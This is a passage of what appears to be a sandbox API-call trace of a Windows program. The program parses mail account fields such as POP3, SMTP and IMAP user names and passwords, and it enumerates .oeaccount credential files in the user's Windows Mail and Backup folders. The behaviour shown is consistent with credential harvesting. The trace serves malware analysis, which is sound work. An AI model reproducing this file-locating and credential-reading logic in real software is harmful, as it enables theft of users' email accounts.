-1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1 [0063.392] strlen (_Str="type") returned 0x4 [0063.392] strlen (_Str="DWORD") returned 0x5 [0063.392] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1 [0063.392] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1 [0063.393] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1 [0063.393] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1 [0063.393] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1 [0063.393] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1 [0063.393] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1 [0063.393] strlen (_Str="type") returned 0x4 [0063.393] strlen (_Str="DWORD") returned 0x5 [0063.393] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="Account_Name") returned 1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Server") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Server") returned 1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Server") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Server") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_User_Name") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_User_Name") returned 1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_User_Name") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_User_Name") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Password2") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Password2") returned 1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Password2") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Password2") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Email_Address") returned -1 [0063.393] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Email_Address") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Port") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Port") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Port") returned 1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Port") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Secure_Connection") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Secure_Connection") returned -1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Secure_Connection") returned 1 [0063.393] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Secure_Connection") returned -1 [0063.394] strlen (_Str="type") returned 0x4 [0063.394] strlen (_Str="DWORD") returned 0x5 [0063.394] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="Account_Name") returned 1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="POP3_Server") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Server") returned 1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Server") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Server") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="POP3_User_Name") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="IMAP_User_Name") returned 1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="NNTP_User_Name") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="SMTP_User_Name") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="POP3_Password2") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Password2") returned 1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Password2") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Password2") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Email_Address") returned -1 [0063.394] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Email_Address") returned -1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Port") returned -1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Port") returned -1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Port") returned 1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Port") returned -1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Secure_Connection") returned -1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Secure_Connection") returned -1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Secure_Connection") returned 1 [0063.394] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Secure_Connection") returned -1 [0063.394] strlen (_Str="type") returned 0x4 [0063.394] strlen (_Str="DWORD") returned 0x5 [0063.394] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="Account_Name") returned 1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Server") returned -1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Server") returned 1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Server") returned -1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Server") returned -1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_User_Name") returned -1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_User_Name") returned 1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_User_Name") returned -1 [0063.394] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_User_Name") returned -1 [0063.395] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Password2") returned -1 [0063.395] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Password2") returned 1 [0063.395] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Password2") returned -1 [0063.395] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Password2") returned -1 [0063.395] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Email_Address") returned -1 [0063.395] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Email_Address") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Port") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Port") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Port") returned 1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Port") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Secure_Connection") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Secure_Connection") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Secure_Connection") returned 1 [0063.395] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Secure_Connection") returned -1 [0063.395] strlen (_Str="type") returned 0x4 [0063.395] strlen (_Str="DWORD") returned 0x5 [0063.395] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="Account_Name") returned 1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Server") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Server") returned 1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Server") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Server") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_User_Name") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_User_Name") returned 1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_User_Name") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_User_Name") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Password2") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Password2") returned 1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Password2") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Password2") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Email_Address") returned -1 [0063.395] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Email_Address") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Port") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Port") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Port") returned 1 [0063.395] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Port") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Secure_Connection") returned -1 [0063.395] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Secure_Connection") returned -1 [0063.396] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Secure_Connection") returned 1 [0063.396] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Secure_Connection") returned -1 [0063.396] strlen (_Str="type") returned 0x4 [0063.396] strlen (_Str="SZ") returned 0x2 [0063.396] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="Account_Name") returned 1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Server") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Server") returned 1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Server") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Server") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_User_Name") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_User_Name") returned 1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_User_Name") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_User_Name") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Password2") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Password2") returned 1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Password2") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Password2") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Email_Address") returned -1 [0063.396] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Email_Address") returned -1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Port") returned -1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Port") returned -1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Port") returned 1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Port") returned -1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Secure_Connection") returned -1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Secure_Connection") returned -1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Secure_Connection") returned 1 [0063.396] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Secure_Connection") returned -1 [0063.396] strlen (_Str="type") returned 0x4 [0063.396] strlen (_Str="SZ") returned 0x2 [0063.396] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.396] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1 [0063.396] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1 [0063.396] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1 [0063.397] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1 [0063.397] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1 [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] free (_Block=0x1be9ed0) [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] free (_Block=0x4afea8) [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] free (_Block=0x4afda0) [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] free (_Block=0x1be7ac0) [0063.397] free (_Block=0x1be9ac8) [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] free (_Block=0x1be56b0) [0063.397] free (_Block=0x1be76b8) [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] ??3@YAXPAX@Z () returned 0x1 [0063.397] CloseHandle (hObject=0x104) returned 1 [0063.397] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 0 [0063.397] FindClose (in: hFindFile=0x2667f0 | out: hFindFile=0x2667f0) returned 1 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] strlen (_Str="*.*") returned 0x3 [0063.398] _mbscpy (in: param_1=0x18f274, param_2=0x18f63c | out: param_1=0x18f274) returned 0x18f274 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] _mbscat (in: param_1=0x18f274, param_2=0x413078 | out: param_1=0x18f274) returned 0x18f274 [0063.398] _mbscat (in: param_1=0x18f274, param_2=0x413768 | out: param_1=0x18f274) returned 0x18f274 [0063.398] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x26c100, cFileName=".", cAlternateFileName="")) returned 0x2667f0 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] strlen (_Str=".") returned 0x1 [0063.398] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] strcmp (_Str1=".", _Str2="..") returned -1 [0063.398] strcmp (_Str1=".", _Str2=".") returned 0 [0063.398] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="..", cAlternateFileName="")) returned 1 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] strlen (_Str="..") returned 0x2 [0063.398] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] strcmp (_Str1="..", _Str2="..") returned 0 [0063.398] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] strlen (_Str="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 0x37 [0063.398] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.398] strlen (_Str="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 0x37 [0063.398] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.398] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.399] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1 [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.399] strlen (_Str="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 0x37 [0063.399] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.399] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="Backup", cAlternateFileName="")) returned 1 [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.399] strlen (_Str="Backup") returned 0x6 [0063.399] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.399] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.399] strcmp (_Str1="Backup", _Str2="..") returned 1 [0063.399] strcmp (_Str1="Backup", _Str2=".") returned 1 [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.399] strlen (_Str="*.oeaccount") returned 0xb [0063.399] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.399] _mbscat (in: param_1=0x18e32c, param_2=0x413078 | out: param_1=0x18e32c) returned 0x18e32c [0063.399] _mbscat (in: param_1=0x18e32c, param_2=0x414488 | out: param_1=0x18e32c) returned 0x18e32c [0063.399] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.oeaccount", lpFindFileData=0x18e470 | 